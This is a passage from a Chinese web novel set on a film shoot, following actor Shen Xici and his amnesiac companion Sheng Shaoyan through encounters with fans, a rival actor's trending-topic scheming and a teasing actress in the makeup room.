不过,他觉得他肯定没在里面工作过,只随便查了查嘉瑞传媒的相关消息,混乱的股权架构,大量的人才流失,乱七八糟的财报,再看叶眉作为高管,任人唯亲、滥用私权的行事作风和挑人的眼光,盛绍延假设自己在嘉瑞传媒,很难不把叶眉开除走人,再把集团从上到下清理一遍。 见盛绍延眼里露出明显的嫌弃,沈西辞回答蓝小山:“你绍哥没在嘉瑞传媒上过班,这些应该都是他在网上搜的资料。” “啊?明明大家下午用的都是同一个互联网,怎么我没搜到这些?” 把盛绍延说的在脑子里转了几圈,蓝小山越想越觉得他绍哥分析得实在太有道理了,悬了一下午的心终于放了下来,抬眼正好看见走在前面的沈西辞衣袖被风灌满,他一拍脑门,“糟了沈哥,化完妆走太急,我忘把你衣服拿过来了!” 为了上镜效果,哑巴少年穿的土布白袍只有薄薄一层布料,虽然绥县附近一年四季气候都不冷不热,但山里温差大,一临近晚上就降温明显。 沈西辞刚想说没事,走不了多远就可以换衣服了,一件薄外套忽然落在了他的肩上,附着尚未散去的体温。 这件衣服还是早上出门前,他给盛绍延选的,版型宽松的黑色水洗牛仔布外套。 他们身高差距不大,想着盛绍延只在这边住一个月,为了省下一笔置装费,沈西辞没怎么给盛绍延买衣服,直接把衣柜里自己版型宽松的衣服的使用权都分配给了盛绍延。 想到反正盛绍延的衣服就是自己的衣服,沈西辞毫无障碍地拉了拉外套,朝盛绍延笑道:“谢谢阿绍!” 蓝小山落后两步,看着这一幕,认真反思——难道,他以前拿衣服的操作,都是错误操作? 这时,风里响起两声“咔擦”的声音,沈西辞敏锐地意识到是什么,立刻看向盛绍延,首先确定他黑色鸭舌帽和口罩都戴得严严实实,才朝声音的来处望去。 注意到沈西辞下意识的反应,盛绍延自觉地压了压帽檐。 两个女生站在远处,手里拿着相机,蓝小山张望两眼,见那两个人脖子上都挂着蓝色工作牌:“沈哥,应该是跟着探班那些人过来的粉丝,要不要我去看看?” 粉丝?盛绍延先一步开口:“你们先回去换衣服,我去看看。” 沈西辞没有反对,只叮嘱:“不要摘口罩。” 盛绍延点点头:“放心。” 他不会招蜂引蝶的。 两个女生抱着相机,正看着刚拍的照片小声讨论:“这个大长腿是沈西辞的经纪人吗?没天理了,经纪人的腿怎么这么长!这要别人怎么活!” “我赌这个经纪人肯定是个帅哥!识别帅哥无需看脸!” “不过他对沈西辞真的好关注啊,刚刚我从镜头里看见,他目光的落点几乎都在沈西辞身上!” “真的假的?他来了他来了!嘘!” 盛绍延穿一件深色衬衣,黑色鸭舌帽压得很低,并没有多余的动作,却仿佛天然就有一种让所有人都遵照他意志行事的压迫感。 走近后,他伸出手,两个女生老老实实地把相机放了上去,有点心虚:“你是沈西辞的经纪人吧?你可以检查,我是顺便和朋友一起过来玩儿的,别的都没乱拍,只拍了沈西辞,大概有二十几张,刚刚看你们走在一起,没忍住又拍了两张,要是你觉得有不合适的,我可以配合删掉。” 拿着相机,盛绍延按下按钮,一张一张仔细看过去,确实只拍了沈西辞,有做好妆造走在路上的沈西辞,有拍完戏往回走的沈西辞,还有回过头看着他笑的沈西辞。 视线在最后一张照片上多停留了一会儿,盛绍延把相机还给卷发女生:“都不用删。” 卷发女生眼睛一亮:“真的吗!谢谢!” 想到沈西辞转给他的五百块还有剩,盛绍延问:“你拍的这些照片出小卡吗?我要十套。” 15.第十五个鱼钩 直播探班结束后的第三天,电影山脉线的官博才更新了一条微博: “谁懂,剧组宣传打工人在观鸟大爷的微博里看到本组男演员的照片时,还以为自己没睡醒! @沈西辞饰演 哑巴少年。 ‘他去哪儿了?’ ‘他离开这里,去找他妈妈和妹妹了。’ 他是山野间清泉般的少年,是朝阳下最初的惊艳。 [图片]” “——官博你们速度太慢了,这种好东西之前竟然一直藏着,现在才端上来!” “——这是要美死谁!官博你是懂放图的!” “——啊啊啊啊我尖叫!我只恨我既没有在拍鸟的那颗树上,又没有在剧组探班的直播间里!呜呜呜是谁的心轻轻碎掉了!” “——@久久早起早睡快来看!是不是你那天发给我的山神之子!!” 房车里,许令嘉盯着手机上官博发的照片,沉着脸拨出一个号码,接通后,他扯开笑容,撒娇道:“干妈,不是说要压沈西辞的热度吗?我怎么看到,刚刚官博发了一条关于他的内容?” 叶眉略显疲惫的声音从听筒传出来:“嘉嘉,你知道的,崔运维一直盯着想找我的错处,他认为两次热搜完全能证明,沈西辞这个演员有火的潜质,明里暗里指责我判断失误,毫无作为,还讽刺我为了你才压沈西辞。” 手指掐在座椅的皮垫上,听见“有火的潜质”这几个字,许令嘉指尖用力,嘴里说话的语气没变:“可发了微博不算,为什么还花钱专门给沈西辞买热搜啊?” “嘉嘉,那是崔运维让人买的,不是干妈想买的。”叶眉知道许令嘉不高兴,跟往常一样哄道,“你之前不是说,你现在演的这个卧底的角色很好吗?等你通过这个角色出圈拿奖的时候,干妈一定给你好好安排,热搜还不是我们嘉嘉想上几条就上几条?” 许令嘉心里有什么一闪而过,但想到梦境里,卧底阿峥这个角色连官媒都出来夸,他又安心了一点:“那说好了啊,到时候干妈你可得帮我好好宣传。” “肯定的啊,”叶眉没有自己的孩子,许令嘉刚满月她就抱在手里了,一直都宠着护着,她软下语气,“你请吃饭时把那些群演都一起叫去,这件事做的很不错,有个群演是你粉丝,特意发了条微博夸你,这样的正面消息对你很有利,热搜干妈已经安排好了,你好好拍戏,别的不用操心。” 许令嘉嘴甜道:“干妈你也不要太累了,那个崔运维肯定比不过你!” 挂断电话,#许令嘉请群演吃饭#已经出现在了热搜榜上,那个他已经记不清长相的女孩写了一篇长长的小作文,话题下,全都是“嘉嘉从小就特别善良”,“嘉嘉心疼粉丝”之类的话。 许令嘉看完,心情好了不少,沈西辞有热搜又怎么样?他想上热搜,还不是一句话的事。 察觉到自己的想法,他又提醒自己,不要陷进梦境预示的未来里,总是去跟沈西辞那种注定没前途的小人物比较,很掉价。 不过,干妈总是这也不行,那也不行,看来,想往上爬,还是要靠他自己运作才行。 打定主意,许令嘉又拨了一个电话:“让你找的那个东西你找到没有?” 沈西辞起床火速去冲了个澡,顶着吹得乱七八糟的头发出来,电视里正播着财经新闻,见盛绍延拿着手机,他随口问道:“阿绍,你又在看股票啊?” 沈西辞想到那些K线图就脑子疼,上一世,他看过几眼盛绍延电脑上各种财务报表投资分析什么的,只能说,他真的会晕数字。 “对,刚开盘,”盛绍延意识到,沈西辞似乎有点不满自己总是炒股,不跟他聊天?想了想,又开口,“我做了早餐。” “早餐?”沈西辞第一反应是,这早餐他吃了,要不要提前跟剧组请个病假? 正忧心忡忡地想劝盛绍延尺有所短,寸有所长,不用强求自己做不擅长的事,转眼看见桌上放着三个水煮蛋和一杯牛奶,旁边还有一碗切好的橙子瓣,沈西辞到嘴边的话立刻改成,“我竟然吃到了阿绍做的早餐!谢谢阿绍!” 惊喜愉悦的语气,连眼睛都被笑意浸染。 沈西辞穿了一件简单的白色衬衣,在顶灯落下的光中,整个人都像发着光,微乱的头发,拉到手肘的袖口,耳垂上的银钉,一切都赏心悦目。 盛绍延不由思考,自己以前对沈西辞是有多差,才会让他因为一份简单的早餐这么惊喜? 这几天,账户里不断膨胀的数字证明,他轻易就能从股市中获得极高的收益,这恰好印证了他对物价的认知,以及他花钱如流水的消费习惯。 他以前应该通过炒股赚了很多钱,所以才能支撑他极大的开销和奢侈的生活,但炒股就像赌徒,再厉害的人,也可能有会输的一天。 他很清楚,他不是一个安于现状的人,将全副身家投入其中,以博取更大的利益,绝对是他会做出来的事。 后面的事就很好推测了。 所有的钱都在股市中折戟沉沙,他一蹶不振,心灰意冷,和沈西辞在一起后,吃软饭,不工作,还改不了大手大脚、花钱没节制的习惯,让沈西辞欠下了一大笔债务。 他大致确定自己和亲人的关系很不怎么样,他没钱之后,那些人只会躲他躲得更远。 盛绍延有点看不起失忆前的自己。 无论如何,他都不会让沈西辞一个人去努力去赚钱。 吃完早饭,临走前把家里窗户打开通风,两人一前一后下了楼。 沈西辞站在楼下的防盗门边等着,没一会儿,盛绍延就骑着摩托车过来了。 在连帽卫衣配休闲裤和板鞋,一身清新的盛绍延身上,他竟然看出了一点刚毕业男大学生的既视感。 甩甩脑袋,沈西辞压住自己这个离谱的想法,盛绍延这种黑心资本家,只会用盛合集团的一纸offer,让那些国内外名校毕业的高材生心甘情愿被奴役。 长腿跨上后座,盛绍延启动摩托车,问:“今天有几场戏?” “没什么重要的戏份,都是钟岳老师和温老师他们的镜头,我站旁边做做动作表情,当好背景板就行。” 摩托车穿行在县城小楼的夹缝间,惊起地上啄食的麻雀,绕过一个转角,刺眼的阳光洒下来,沈西辞懒洋洋地眯起眼:“天气真好啊。” “以前这样的天气,你会做什么?” 看了眼盛绍延的背影,沈西辞觉得今天这人问题好像有点多,他仔细想了想,进组拍戏前,他应该是在读大三。 “每天除了上课,就是去实验室做实验、录数据,再加上看文献写论文,很枯燥,但也挺有意思的,可以了解身体内部是怎么运行的,不同的细胞有什么用处,每一次疾病是怎么发生的。了解得更多,就能更好地保护自己。” 说起这些,沈西辞忽然有种恍如隔世的感觉。 不过确实也是隔了一世了,以至于很多事都像是蒙上了薄尘。 他想起一件以前的事:“我记得进实验室第一天——” 没想到刚起了个头就被盛绍延打断了。 “靠近一点,听不清。” “哦,好。”摩托车引擎的声音确实很大,沈西辞身体往前倾,都快贴盛绍延耳边了,接着道,“我进实验室的第一天,我跟的那个教授说,一看我,就知道我是块科研的好材料,然后就直接把我一个本科生当研究生用。” 身后人的呼吸比耳边吹过的风更有存在感,盛绍延唇角微扬,已经预料到了接下来的情节,问:“然后呢?” “后来,研一的新师兄来实验室报道,我路过时,不小心听见白教授笑容和蔼地对那个新师兄说,小施啊,我一看你,就知道你是块科研的好材料!” 把白清远教授的语气模仿的惟妙惟肖,说完,沈西辞自己先笑起来:“那时候我就悟了,什么好材料,大家都不过是块科研耗材罢了!” 盛绍延大半心思都没在前面的路况上,几乎全凭着前几天开车的记忆加速减速。 借着后视镜看坐在身后的人,盛绍延的注意力都被沈西辞瓷白的手指收拢,说话时,那根手指会一下一下地敲在颊边,嘴唇被手挡了一半,露出的那部分唇线精致,很好看。 沈西辞的嗓音也很好听,吐字清晰,声调有抑有扬说话时,眼里的光很清亮,让人轻易就会沉浸。 摩托车停在老位置,沈西辞化好妆去了拍摄现场。 一个小时后。 “停,这条重来。” 温雅歌脸上的笑容已经快绷不住了,她站在原地,让化妆师给她补妆,问跟她对戏的许令嘉:“我记得你是在宁城戏剧学院上学吧?” 男演员补妆没女演员那么麻烦,许令嘉接过助理递来的水杯:“对,我是宁戏的。” 他艺考和入学报名都有媒体全程报道,包括他宿舍环境好不好、室友有谁性格怎么样,都很有话题度,所以温雅歌会知道他是哪个学校,他一点都不意外。 “你们表演老师是孙教授?” “就是孙教授,”许令嘉笑道,“温老师您认识?” 这场戏一共就几句台词,已经拍了快十遍了,温雅歌耐心即将耗尽:“我记得孙教授教的挺好的,但你怎么演的这么差?” 许令嘉脸上乖巧的笑容一僵。 “卡,”万导的声音从监视器后面传过来,“许令嘉,你怎么回事?特写镜头都定你脸上了,你在那里啃面饼,不知道镜头在哪儿?重来!” 两分钟后,万导的声音再次传来:“许令嘉,你是卧底,你现在明面儿的身份是个坏人,跟犯罪分子是一伙的,他们在聊犯罪分子怎么对人质时,你不需要一脸同情,表情要收着,收着懂不懂?” 许令嘉站起身道歉:“对不起,又耽误大家的时间了,不过导演,我确实收了。” “你听的眼泪都快掉下来了,你收哪儿了?”万导叹气,给他讲戏,“不能面前死了只鸟,就跟死了爱人一样哭得厥过 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化妆间静下来,只有化妆师放下刷子时低低的“嗒”声。 这些话温雅歌可以说,沈西辞不能接,他另起了个话头:“金叶奖的颁奖典礼马上要开始了,温老师跟导演请好假了吗?” “请好了,万导虽然不许人轧戏,但演员去领奖他可是大方得很。”温雅歌望着镜子里的自己,忽然问,“沈西辞,你觉得这次我会拿奖吗?”她又强调,“不准说场面话。” “去年的电影里,《心锁》,《草原之春》,还有《坠入深渊》三部电影的女主角都很厉害,这三位老师肯定会跟您竞争最佳女主角的奖项。”沈西辞说得诚恳,“但《迷失时光》里,温老师的演技真的很不错,以我个人的看法,我觉得拿奖没问题。” 温雅歌出道十年,顶奢品牌代言傍身,从来都是红毯上浓墨重彩的一笔,但拿奖的运道一直不太好,至今手里只有一座影后奖杯,《迷失时光》是部文艺片,就是专门拍来冲奖的。 上一世,温雅歌的确凭借这个角色,拿到了第二座影后奖杯。 温雅歌正侧着脸,画颧骨下方的伤痕特效妆,听完有些惊讶,沈西辞对演技的判定也很精准,他列举的这三个女演员,和她的判断完全重合。 “那就借你吉言了,”温雅歌看着脸上正在画的伤痕妆,有点烦躁,“嘉瑞传媒也真是,任由叶眉瞎搞,听说他们准备让许令嘉把万导这部电影当跳板,下部电影就演男二去了,啧,”她轻轻咋舌,慢悠悠道,“不怕关系户有丑孩子,就怕这丑孩子演技还烂,真是难为我这双眼睛。” 说着说着,温雅歌忽然想到:“你签公司了吗?” 沈西辞改了妆,正在往耳垂上挂耳坠,实话实说:“还没签。” “如果以后有公司来联系你,可以考虑签一个。没资源没人捧没机会,你就是再有实力,也很难往上爬。这个圈子的蛋糕只有这么大,但想来分一口的人太多,谁都想飞黄腾达。” 说着,见在旁边摆弄手机的口罩帅哥看了过来,温雅歌挑眉,这么警觉啊? 她从进这化妆间就发现,这个口罩帅哥对她很防备,守沈西辞守得很紧,这不,有点风吹草动,立刻就有反应了,一身气势还很迫人,让人本能想要避开。 突然就想逗逗这两个人,温雅歌换了种语气:“沈西辞,你应该知道,我之前找过这个口罩帅哥,被拒绝了。” 她眉眼一转,拿腔拿调,活脱脱的烟视媚行:“他不愿意,那你呢?我很喜欢你这种演技好,演戏认真,还长得好看的。” 沈西辞一怔,有点哭笑不得,正想说话,就见盛绍延忽然起身走了过来,挡在他面前,满身低气压。 “他不——” 盛绍延想说,他不愿意,他已经有我了。 但另一个念头冒了出来。 沈西辞真的不愿意吗?他以前对他并不好,花他的钱,让他不得不进娱乐圈辛苦拍戏,被换角色,被针对,被压热度。 但他什么忙都帮不上。 如果沈西辞答应温雅歌,完全正常,至少以后会轻松很多,不用被他拖累,那么辛苦。 想是这么想,可盛绍延心里却冒出一股极端的躁意,让他想不管不顾,跟沈西辞说些什么。 沈西辞见盛绍延沉默地转过身,没有戴鸭舌帽,黑色口罩横在鼻梁处,只露出一双暗色的眼,像是有什么话要说,却又没有说出口。 感觉到面前这个人快要溢出来的躁怒感,像炸了毛,来不及探究是什么原因,沈西辞安抚地握住盛绍延的手腕,站到了他前面。 知道温雅歌多半是恶趣味犯了在开玩笑,沈西辞也没当回事,笑着回答:“姐姐,我还年轻呢,还想再多努力奋斗几年。” 在他身后,原本像领地被窥伺了的狮子般的盛绍延,低眼看着沈西辞抓在他腕上的手,安静下来。